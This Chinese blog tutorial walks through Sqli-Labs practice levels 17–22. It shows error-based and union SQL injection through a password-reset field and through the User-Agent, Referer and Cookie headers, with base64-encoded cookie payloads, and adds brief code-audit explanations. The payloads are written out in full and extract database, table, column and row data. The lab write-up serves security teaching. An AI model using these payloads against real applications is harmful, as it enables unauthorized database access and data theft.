目錄
Less-17:基于POST請(qǐng)求方式的中級(jí)注入
爆破數(shù)據(jù)庫(kù)名
爆破表名?
爆破列名?
爆破字段值?
第十七關(guān)代碼審計(jì)
Less-18:HTTP頭部注入-UA注入
爆破數(shù)據(jù)庫(kù)名
爆破表名?
爆破列名?
爆破字段值?
HTTP頭部注入判斷方法
Less-19:HTTP頭部注入-Referer注入
爆破數(shù)據(jù)庫(kù)名
爆破表名? ? ? ??
爆破列名??
爆破字段值
Less-20:HTTP頭部注入-Cookie注入
COOKIE理解
爆破數(shù)據(jù)庫(kù)名
爆破表名
爆破列名
爆破字段值
Less-21:HTTP頭部注入-使用 base-64 編碼進(jìn)行加密的Cookie注入
爆破數(shù)據(jù)庫(kù)名字
爆破表名
爆破列名
爆破字段值
Less-22:HTTP頭部注入-使用 base-64 編碼進(jìn)行加密的Cookie注入
總結(jié)
Less-17:基于POST請(qǐng)求方式的中級(jí)注入
? ? ? ? 首先我們進(jìn)入這一關(guān):
? ? ? ? 可以看到這一關(guān)讓你進(jìn)行“密碼重置”,我們這里首先隨便輸入一個(gè)賬戶(hù)和密碼進(jìn)行測(cè)試。我這里用戶(hù)名輸入1,密碼輸入1。觀察頁(yè)面回顯:
? ? ? ? 可以看到頁(yè)面回顯對(duì)我們很不友好,對(duì)于一個(gè)搞網(wǎng)安的,這能忍?
? ? ? ? 我們進(jìn)行注入點(diǎn)測(cè)試,先測(cè)試用戶(hù)名這一欄有沒(méi)有漏洞,我測(cè)試單引號(hào)為注入點(diǎn),觀察頁(yè)面回顯:
? ? ? ? 很顯然,沒(méi)用。那么我們就測(cè)試修改密碼的輸入框看看有沒(méi)有,依舊輸入單引號(hào)測(cè)試:
? ? ? ? 很顯然,依舊沒(méi)用。這里注意一下我為什么不使用其他注入點(diǎn),其實(shí)一般情況下你輸入單引號(hào)如果存在漏洞就報(bào)錯(cuò)了,因?yàn)閱我?hào)不匹配。當(dāng)然你們可以去測(cè)試雙引號(hào)為注入點(diǎn)的情況以及 ') 為注入點(diǎn)的情況等等。這里我以及做過(guò)測(cè)試了,都沒(méi)用,不在贅述了。這個(gè)情況就說(shuō)明兩種情況:
1、在這兩個(gè)輸入框中對(duì)我們輸入的單引號(hào)等進(jìn)行了過(guò)濾
2、可能有前提條件限制,例如必須你輸入了正確的用戶(hù)才能進(jìn)行下一步操作,如果輸入的用戶(hù)名不正確那么我們無(wú)論怎么修改密碼都無(wú)濟(jì)于事。
? ? ? ? 因?yàn)轱@示出了一個(gè)用戶(hù)名“DhaKKan”,所以我們用它作為用戶(hù)名進(jìn)行嘗試,看看它是不是正確的用戶(hù)名。我們將其密碼修改為1,觀察頁(yè)面回顯:
? ? ? ? 可以看到出現(xiàn)了成功修改后的頁(yè)面,說(shuō)明用戶(hù)名是沒(méi)問(wèn)題的,也證實(shí)了必須有正確的用戶(hù)名才能進(jìn)行密碼修改。
? ? ? ? 接下來(lái)就是再次嘗試注入點(diǎn)在哪兒,也就是找漏洞,我們首先查看用戶(hù)名這里有沒(méi)有注入點(diǎn),輸入單引號(hào)進(jìn)行測(cè)試,觀察頁(yè)面回顯:
? ? ? ? 發(fā)現(xiàn)還是不行,那就測(cè)試修改密碼的地方看看行不行,輸入單引號(hào)測(cè)試:? ??? ? ? ? 可以看到不僅回顯了成功修改密碼后的頁(yè)面而且出現(xiàn)了SQL語(yǔ)句報(bào)錯(cuò),說(shuō)明此處存在注入點(diǎn)。且注入點(diǎn)就是單引號(hào)。
? ? ? ? 接下來(lái)我們首先看一下該數(shù)據(jù)庫(kù)有多少列,在修改密碼的地方輸入語(yǔ)句:
1' order by 3 #
? ? ? ? 頁(yè)面回顯:?? ? ? ? ?可以看到頁(yè)面報(bào)錯(cuò),說(shuō)明列數(shù)小于3,我們繼續(xù)測(cè)試,輸入語(yǔ)句:
1' order by 1 #
? ? ? ? 頁(yè)面回顯:? ? ? ? ?可以看到也是報(bào)錯(cuò),說(shuō)明這一關(guān)就不能使用聯(lián)合注入了,因?yàn)槁?lián)合注入必須要用 order by 語(yǔ)句去測(cè)試有多少列,然后根據(jù)列數(shù)去寫(xiě)語(yǔ)句,這里顯然不能使用聯(lián)合注入。? ? ? ?
? ? ? ? 不能使用聯(lián)合注入的時(shí)候首先考慮報(bào)錯(cuò)注入,我們嘗試一下報(bào)錯(cuò)注入。
爆破數(shù)據(jù)庫(kù)名
? ? ? ? 這里我首先使用 extractvalue() 函數(shù)進(jìn)行注入,在修改密碼的地方輸入語(yǔ)句:
1' and extractvalue(1,concat(0x7e,database())) #
? ? ? ? 頁(yè)面回顯:? ? ? ? ?
? ? ? ? 可以看到成功爆破了數(shù)據(jù)庫(kù)名字。
爆破表名?
? ? ? ? 這里我使用 updatexml() 函數(shù)注入,在修改密碼的地方輸入語(yǔ)句:
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) #
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到回顯了第一張表的名字,因?yàn)閳?bào)錯(cuò)注入有輸出限制,所以要使用 limit 語(yǔ)句。其余表名爆破方式一樣,這里不在贅述。
爆破列名?
? ? ? ? 在修改密碼的地方輸入語(yǔ)句:
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),3) #
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到爆破出了表 emails 中第一列的列名,其余列名爆破方法一樣,這里不在贅述。
爆破字段值?
? ? ? ? 在修改密碼的地方輸入語(yǔ)句:
1' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #
? ? ? ? 頁(yè)面回顯:????????可以看到爆破出了表 emails 中 id 列的第一個(gè)字段值,其余字段值方法一樣,這里不在贅述。
第十七關(guān)代碼審計(jì)
? ? ? ? 接下來(lái)進(jìn)行代碼審計(jì),查看一下這一關(guān)的源碼并且解析一下。
? ? ? ? 從這幾個(gè)語(yǔ)句可以看出來(lái),我們輸入的數(shù)據(jù)在和后臺(tái)數(shù)據(jù)庫(kù)進(jìn)行交互的時(shí)候會(huì)首選判斷我們輸入的用戶(hù)名是否存在,存在的話(huà)才可以進(jìn)行修改密碼的操作。
? ? ? ? 可以看到 uname 被一個(gè)函數(shù) check_input()?修飾了,而 passwd?沒(méi)有被修飾。而函數(shù)check_input?() 的作用是過(guò)濾掉單引號(hào)以及進(jìn)行數(shù)字類(lèi)型的轉(zhuǎn)換,驗(yàn)證輸入的值是否為空。所以說(shuō)我們之前在 uname 輸入框中輸入了單引號(hào)沒(méi)有作用。
? ? ? ? 到這里第十七關(guān)就結(jié)束了。
Less-18:HTTP頭部注入-UA注入
? ? ? ? 首先我們進(jìn)入這一關(guān):
? ? ? ? 可以看到這一關(guān)下面顯示了我們的 IP 地址。我們首先去每個(gè)輸入框中測(cè)試有沒(méi)有注入點(diǎn)。先測(cè)試一下單引號(hào):
? ? ? ? 可以看到并沒(méi)有漏洞,其余像雙引號(hào),單引號(hào)帶括號(hào)這種注入點(diǎn)我就不一一測(cè)試了,因?yàn)槎疾恍?,你們可以自己測(cè)試一下。
? ? ? ? 既然常規(guī)方法沒(méi)有頭緒的話(huà),我們可以進(jìn)行一下代碼審計(jì)看看什么情況。
? ? ? ? 可以看到這一關(guān)中 uname 和 passwd 都被 check_input() 函數(shù)修飾了,這個(gè)函數(shù)的作用就是過(guò)濾單引號(hào)以及其他符號(hào)的。所以說(shuō)無(wú)論我們?cè)趦蓚€(gè)輸入框怎么嘗試注入也不行的原因。
? ? ? ? ?接下來(lái)我們看這一條語(yǔ)句,明顯是一個(gè)插入語(yǔ)句,但是插入的數(shù)據(jù)中出現(xiàn)了 uagent 。但是查看源碼卻沒(méi)有發(fā)現(xiàn)對(duì)傳入的 uagent 進(jìn)行任何過(guò)濾,那么漏洞就在這里。
? ? ? ? 接下來(lái)我們先看一下登錄成功的頁(yè)面是什么樣的:
? ? ? ? 可以看到成功登錄的頁(yè)面回顯了 IP 和 User-Agent。所以這里我們使用 User-Agent 注入。
? ? ? ? 接下來(lái)我們使用 Burp Suite?進(jìn)行抓包,因?yàn)橹挥械卿洺晒Σ拍苁鬼?yè)面回顯出來(lái) User-Agent ,所以我們要抓取登錄成功時(shí)的包,頁(yè)面中給了我們用戶(hù)名 Dhakkan 我們就用這個(gè)用戶(hù)名進(jìn)行登錄(密碼是1) :
? ? ? ? 可以看到成功抓取到了登錄成功時(shí)的包,接下來(lái)我們將其發(fā)送到?Repeater?:
? ? ? ? 這里我們?cè)谧髠?cè)可以修改頁(yè)面的 User-Agent、Referer、Cookie等數(shù)據(jù)并進(jìn)行發(fā)送,在右側(cè)可以實(shí)時(shí)觀察修改之后頁(yè)面的變化,十分方便。
? ? ? ? 這里我們首先把頁(yè)面原本的 User-Agent 數(shù)據(jù)全部刪除了,替換成我們的注入語(yǔ)句。這里我使用報(bào)錯(cuò)注入。
爆破數(shù)據(jù)庫(kù)名
? ? ? ? 首先測(cè)試注入點(diǎn),輸入單引號(hào)測(cè)試:? ? ??
? ? ? ? 可以看到頁(yè)面報(bào)錯(cuò)了,那注入點(diǎn)八成就是單引號(hào)。接下來(lái)輸入語(yǔ)句:
' and extractvalue(1,concat(0x7e,database()))) #
? ? ? ? 細(xì)心的兄弟肯定發(fā)現(xiàn)我多了一個(gè)括號(hào),這里我解釋一下原因,首先我們查看源代碼:
? ? ? ? 可以看到我們最終輸入的注入語(yǔ)句是被帶入到 VALUES 后面的語(yǔ)句中執(zhí)行的,因此要閉合 VALUES 后面的括號(hào),這也就是為什么要多加一個(gè)括號(hào)的原因,當(dāng)我們不加括號(hào)的語(yǔ)句:
VALUES(' and extractvalue(1,concat(0x7e,database())) #','$IP','$uname')
? ? ? ? 可以看到有一個(gè)括號(hào)是沒(méi)有閉合的,這樣就會(huì)導(dǎo)致括號(hào)不必配報(bào)錯(cuò),而不是 extractvalue() 函數(shù)報(bào)錯(cuò),自然也就得不到我們要的數(shù)據(jù)。
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到成功爆破了數(shù)據(jù)庫(kù)名字。
爆破表名?
? ? ? ? 在 User-Agent?后輸入語(yǔ)句:
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))) #
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到成功爆破了第一張表的名字,其余表名字的爆破方法一樣,這里不在贅述。
爆破列名?
????????在 User-Agent?后輸入語(yǔ)句:
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)))) #
? ? ? ? 頁(yè)面回顯:? ? ? ? ?
? ? ? ? 可以看到回顯了表 emails 中第一列的列名,其余列名爆破方法一樣,這里不在贅述。
爆破字段值?
?????????在 User-Agent?后輸入語(yǔ)句:
' and updatexml(1,concat(0x7e,(select id from emails limit 0,1)),3)) #
? ? ? ? ?頁(yè)面回顯:
? ? ? ? 可以看到回顯了表 emails 中列名為 id 的第一個(gè)字段值,爆破其余字段值方法一樣,這里不在贅述。?
HTTP頭部注入判斷方法
?????????注意頁(yè)面的顯示信息,有沒(méi)有返回地址信息(IP)、cookie信息、referer信息等等,有返回的話(huà)就要想能不能使用BURP抓包實(shí)現(xiàn)HTTP頭部注入。
? ? ? ? 到此第十八關(guān)就結(jié)束了。
Less-19:HTTP頭部注入-Referer注入
? ? ? ? 首先進(jìn)入第十九關(guān)靶場(chǎng):
? ? ? ? 發(fā)現(xiàn)和第十八關(guān)一摸一樣,那八成是使用 Burp Suite 抓包進(jìn)行爆破了,估計(jì)兩個(gè)輸入框都進(jìn)行過(guò)濾了。進(jìn)行代碼審計(jì)看一下:? ? ? ? ?
? ? ? ? 可以看到確實(shí)被過(guò)濾了,那么只能使用 Burp Suite?抓包進(jìn)行注入了,我們首先看一下成功登錄的頁(yè)面顯示什么:
? ? ? ? 可以看到顯示了 IP 和 Referer?信息。一般來(lái)說(shuō)頁(yè)面回顯什么信息,那么該信息一般就存在漏洞,我們?cè)谶M(jìn)行代碼審計(jì)查看一下源碼中對(duì) Referer 數(shù)據(jù)的處理,有沒(méi)有漏洞。
? ? ? ? 可以看到這里插入數(shù)據(jù)的時(shí)候插入了 Referer 數(shù)據(jù),但是源碼中沒(méi)有對(duì)該數(shù)據(jù)進(jìn)行過(guò)濾,那么我們的注入點(diǎn)就在這里。
? ? ? ? 因?yàn)橹挥性诘卿洺晒Φ臅r(shí)候才會(huì)回顯 Referer 信息,所以我們要抓取登錄成功時(shí)的包,用戶(hù)名就使用頁(yè)面給我們的 Dhakkan(密碼為1):
? ? ? ? 成功抓到了登錄成功時(shí)的包,將其發(fā)送到?Repeater :
? ? ? ? 接下來(lái)我們將原本的 Referer 信息全部替換為我們的注入語(yǔ)句。首先測(cè)試注入點(diǎn),我這里輸入單引號(hào)做測(cè)試:?? ? ? ? ?可以看到頁(yè)面報(bào)錯(cuò)了,那么單引號(hào)應(yīng)該就是注入點(diǎn),這里我使用報(bào)錯(cuò)注入。
爆破數(shù)據(jù)庫(kù)名
? ? ? ? 在 Referer 后輸入語(yǔ)句:
' and extractvalue(1,concat(0x7e,database()))) #
? ? ? ? 多加括號(hào)的原理和 UA 注入一樣,大家不懂的可以看前面一關(guān)的講解。
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到成功爆破了數(shù)據(jù)庫(kù)名字。
爆破表名? ? ? ??
????????在 Referer 后輸入語(yǔ)句:?? ? ? ?
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))) #
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到爆破出了第一張表的名字,其余表名爆破方法一樣,這里不在贅述。
爆破列名??
????????在 Referer 后輸入語(yǔ)句:
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)))) #
? ? ? ? 頁(yè)面回顯:?
? ? ? ? 可以看到爆破出了表 emails 中第一列的名字,爆破其余列的名字方法一樣,這里不在贅述。
爆破字段值
????????在 Referer 后輸入語(yǔ)句:?
' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1)))) #
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到爆破出了表 emails 中 id 列的第一個(gè)字段值,其余字段值的爆破方法一樣,這里不再贅述。
? ? ? ? 到此為止,第十九關(guān)就結(jié)束了。
Less-20:HTTP頭部注入-Cookie注入
? ? ? ? ?首先我們進(jìn)入這一關(guān):
? ? ? ? 可以看到不像前幾關(guān)那樣有明顯的回顯,我們輸入單引號(hào)測(cè)試一下注入點(diǎn):
? ? ? ? 可以看到輸入框中無(wú)論怎么測(cè)試都會(huì)出現(xiàn)登錄失敗的頁(yè)面,說(shuō)明后臺(tái)應(yīng)該是過(guò)濾了特殊字符,我們進(jìn)行代碼審計(jì)看一下:
? ? ? ? 可以看到確實(shí)過(guò)濾了,那么在頁(yè)面中直接輸入語(yǔ)句注入這條路是斷了,只能通過(guò)抓包了,我們?cè)俅芜M(jìn)行代碼審計(jì)看看哪兒有漏洞:
? ? ? ? 這一段代碼表示當(dāng)我們正常登錄的時(shí)候頁(yè)面會(huì)回顯 COOKIE 的值,那么我們看看這里有沒(méi)有漏洞,可以看到取值的時(shí)候是取的 cookee 的值然后進(jìn)行回顯,我們嘗試找找當(dāng)把?cookee 這個(gè)值傳入的時(shí)候有沒(méi)有漏洞:
? ? ? ? 可以看到這里就是給 cookee 這個(gè)數(shù)值賦值的語(yǔ)句,但是源代碼中并沒(méi)有對(duì)傳入的數(shù)值做任何過(guò)濾,那么這里就是注入點(diǎn),修改傳入的 COOKIE 值從而進(jìn)行注入。我這里使用報(bào)錯(cuò)注入。
? ? ? ? 在注入之前我們要理解網(wǎng)頁(yè)中的 COOKIE 值包含什么,有什么作用。
COOKIE理解
????????Cookie,有時(shí)也用其復(fù)數(shù)形式 Cookies。類(lèi)型為“小型文本文件”,是某些網(wǎng)站為了辨別用戶(hù)身份,進(jìn)行 Session 跟蹤而儲(chǔ)存在用戶(hù)本地終端上的數(shù)據(jù)(通常經(jīng)過(guò)加密),由用戶(hù)客戶(hù)端計(jì)算機(jī)暫時(shí)或永久保存的信息,是一個(gè)保存在客戶(hù)機(jī)中的簡(jiǎn)單的文本文件, 這個(gè)文件與特定的 Web 文檔關(guān)聯(lián)在一起, 保存了該客戶(hù)機(jī)訪(fǎng)問(wèn)這個(gè) Web 文檔時(shí)的信息,?當(dāng)客戶(hù)機(jī)再次訪(fǎng)問(wèn)這個(gè) Web 文檔時(shí)就會(huì)調(diào)用這些信息使用。由于 “Cookie” 具有可以保存在客戶(hù)機(jī)上的神奇特性, 因此它可以幫助我們實(shí)現(xiàn)記錄用戶(hù)個(gè)人信息的功能。Cookie 保存的前提條件就是登錄成功,這樣網(wǎng)頁(yè)才會(huì)根據(jù)我們的需求保存 Cookie。當(dāng)網(wǎng)頁(yè)保存了 Cookie 之后我們下次登錄的時(shí)候就不需要輸入賬戶(hù)和密碼了,會(huì)直接登錄。這樣固然方便但是也造成了一定的安全問(wèn)題,當(dāng)有人獲取了你的 Cookie 信息的時(shí)候就可以不需要賬戶(hù)和密碼直接登錄你的賬號(hào)了。一般還是不要在網(wǎng)頁(yè)中保存你的 Cookie 信息。
爆破數(shù)據(jù)庫(kù)名
? ? ? ? 我們首先使用 Burp Suite 抓包,但是這一關(guān)的抓包和其余關(guān)有一點(diǎn)不一樣,因?yàn)槲覀円サ骄W(wǎng)頁(yè)保存的 Cookie 信息,但是 Cookie 信息只有當(dāng)我們成功登錄某一個(gè)賬號(hào)的時(shí)候才會(huì)保存,所以我們必須要成功登錄某一個(gè)賬號(hào)之后抓取登錄后的包。方法就是登錄成功后刷新一下頁(yè)面,抓取刷新時(shí)的包:
? ? ? ? 這就是我抓到的包含 Cookie 信息的包,之后將其發(fā)送到?Repeater?:?
? ? ? ? 可以看到在左側(cè)出現(xiàn)了頁(yè)面保存的 Cookie 信息,這就是我們要注入的地方。
? ? ? ? 首先我們測(cè)試一下注入點(diǎn),在 Cookie?值后邊輸入單引號(hào)做一下測(cè)試:
? ? ? ? 可以看到頁(yè)面發(fā)生了報(bào)錯(cuò),那么注入點(diǎn)應(yīng)該就是單引號(hào)。
? ? ? ? 之后輸入語(yǔ)句:
' and extractvalue(1,concat(0x7e,database())) #
? ? ? ? 頁(yè)面回顯:?
? ? ? ? 可以看到成功爆破了數(shù)據(jù)庫(kù)名。
爆破表名
? ? ? ? 在 Cookie?值后輸入語(yǔ)句:
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) #
? ? ? ? 頁(yè)面回顯:
? ? ? ? ?可以看到回顯了第一張表的名字,其余表名的爆破方法一樣,這里不在贅述。
爆破列名
????????在 Cookie?值后輸入語(yǔ)句:
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) #
? ? ? ? 頁(yè)面回顯:?
? ? ? ? 可以看到成功爆破了表 emails 中的第一列的名字。爆破其余列的名字的方法一樣,這里不再贅述。?
爆破字段值
????????在 Cookie?值后輸入語(yǔ)句:
' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #
? ? ? ? 頁(yè)面回顯:
? ? ? ? ?可以看到頁(yè)面回顯了表 emails 中 id 列的第一個(gè)字段值,其余字段值的爆破方法一樣,這里不在贅述。
? ? ? ? 到這里第二十關(guān)就結(jié)束了。
Less-21:HTTP頭部注入-使用 base-64 編碼進(jìn)行加密的Cookie注入
? ? ? ? 首先進(jìn)入21關(guān):
? ? ? ? 可以看到這一關(guān)同20關(guān)的回顯很相似,我們進(jìn)行測(cè)試注入點(diǎn):
? ? ? ? 可以看到無(wú)論輸入什么符號(hào)進(jìn)行測(cè)試頁(yè)面也只出現(xiàn)登錄失敗的回顯,那應(yīng)該是后臺(tái)對(duì)我們輸入的數(shù)據(jù)進(jìn)行了過(guò)濾,進(jìn)行代碼審計(jì)看一下:
?
? ? ? ? 可以看到確實(shí)進(jìn)行了過(guò)濾,那我們就只能考慮使用抓包了,我們?cè)俅芜M(jìn)行代碼審計(jì)嘗試找一下漏洞:?
? ? ? ? 可以看到和20關(guān)一樣,屬于 Cookie 注入。那么之后就進(jìn)行抓包,還是抓取登錄之后保存了 Cookie 信息的包:
? ? ? ? 將其發(fā)送到?Repeater?:
? ? ? ? 可以發(fā)現(xiàn) Cookie 值與前一關(guān)明顯不一樣了,直觀的看上去就像一堆亂碼,但其實(shí)這是使用了base-64編碼 進(jìn)行加密了。我們可以進(jìn)行代碼審計(jì)看一下加密語(yǔ)句:
? ? ? ? 這條語(yǔ)句就是加密語(yǔ)句,也就是說(shuō)網(wǎng)頁(yè)后臺(tái)存儲(chǔ)我們輸入的 Cookie 信息的時(shí)候是加密存儲(chǔ)的。?
? ? ? ? 這一關(guān)只要講我們輸入的注入語(yǔ)句也用 base-64編碼 加密就可以了,大家可以去網(wǎng)上搜一個(gè)加\解密的網(wǎng)頁(yè),把我們要注入的語(yǔ)句進(jìn)行加密然后輸入到 Cookie 值后面就可以。我這里使用報(bào)錯(cuò)注入。
? ? ? ? 給大家一個(gè)在線(xiàn)編解碼的鏈接:https://c.runoob.com/front-end/693/
爆破數(shù)據(jù)庫(kù)名字
? ? ? ? 在 Cookie 值后輸入使用 base-64編碼 加密后的語(yǔ)句進(jìn)行測(cè)試注入點(diǎn)是什么。
? ? ? ? 加密前:
dhakkan'
? ? ? ? 加密后:??
????????ZGhha2thbic=
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到注入點(diǎn)應(yīng)該是 ')??。
? ? ? ? 接下來(lái)在 Cookie 值后輸入使用 base-64編碼 加密后的語(yǔ)句:
? ? ? ? 加密前:
dhakkan') and extractvalue(1,concat(0x7e,database())) #
? ? ? ? 加密后:
????????ZGhha2thbicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSkgIw==?
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到成功爆破了數(shù)據(jù)庫(kù)名字。
爆破表名
? ? ? ? 在 Cookie 值后輸入使用 base-64編碼 加密后的語(yǔ)句測(cè)試一下數(shù)據(jù)庫(kù)列數(shù):
? ? ? ? 加密前語(yǔ)句:
dhakkan') order by 4 #
? ? ? ? 加密后:
????????ZGhha2thbicpIG9yZGVyIGJ5IDQgIw==
? ? ? ? 頁(yè)面回顯:
? ? ? ? 說(shuō)明列數(shù)小于4,測(cè)試一下3:
? ? ? ? 加密前語(yǔ)句:
dhakkan') order by 3 #
? ? ? ? 加密后:
????????ZGhha2thbicpIG9yZGVyIGJ5IDMgIw==
? ? ? ? 頁(yè)面回顯:
? ? ? ? 列數(shù)為3,接下來(lái)測(cè)試一下有沒(méi)有顯示位:
? ? ? ? 輸入語(yǔ)句:
0') union select 1,2,3 #
? ? ? ? 加密后:
????????MCcpIHVuaW9uIHNlbGVjdCAxLDIsMyAj
? ? ? ? 頁(yè)面回顯:? ? ? ? ?可以看到頁(yè)面存在顯示位,可以使用聯(lián)合注入,我這里就使用聯(lián)合注入了。
? ? ? ? 輸入語(yǔ)句:
0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
? ? ? ? ?加密后:
????????MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyAj
? ? ? ? 頁(yè)面回顯:? ? ? ? ?可以看到回顯出了表名。
爆破列名
? ? ? ? 輸入語(yǔ)句:
0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' #
? ? ? ? 加密后:
????????MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2VtYWlscycgIw==
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到成功回顯出了表 emails 中的列名,爆破其余表的列名只需要將表名字替換就可以,這里不在贅述。
爆破字段值
? ? ? ? 輸入語(yǔ)句:
0') union select 1,group_concat(id,email_id) ,3 from emails #
? ? ? ? 加密后:
????????MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChpZCxlbWFpbF9pZCkgLDMgZnJvbSBlbWFpbHMgIw==?
? ? ? ? 頁(yè)面回顯:
? ? ? ? 可以看到爆破出了表 emails 中的字段值。
????????至此第21關(guān)就結(jié)束了。
Less-22:HTTP頭部注入-使用 base-64 編碼進(jìn)行加密的Cookie注入
? ? ? ? 這一關(guān)和21關(guān)操作都一樣,只不過(guò)注入點(diǎn)換為了雙引號(hào),這里就不贅述了。
總結(jié)
? ? ? ? 這一篇博客我主要講了 HTTP 頭部注入中的 UA、Referer、Cookie 注入以及 base-64編碼 。如果有不會(huì)使用 Burp Suite 軟件的也可以關(guān)注一下我哦,我后續(xù)會(huì)出相關(guān)的教程詳細(xì)講解如何使用。? ? ? ??文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-728811.html
? ? ? ??文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-728811.html
到了這里,關(guān)于基于Sqli-Labs靶場(chǎng)的SQL注入-17~22關(guān)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!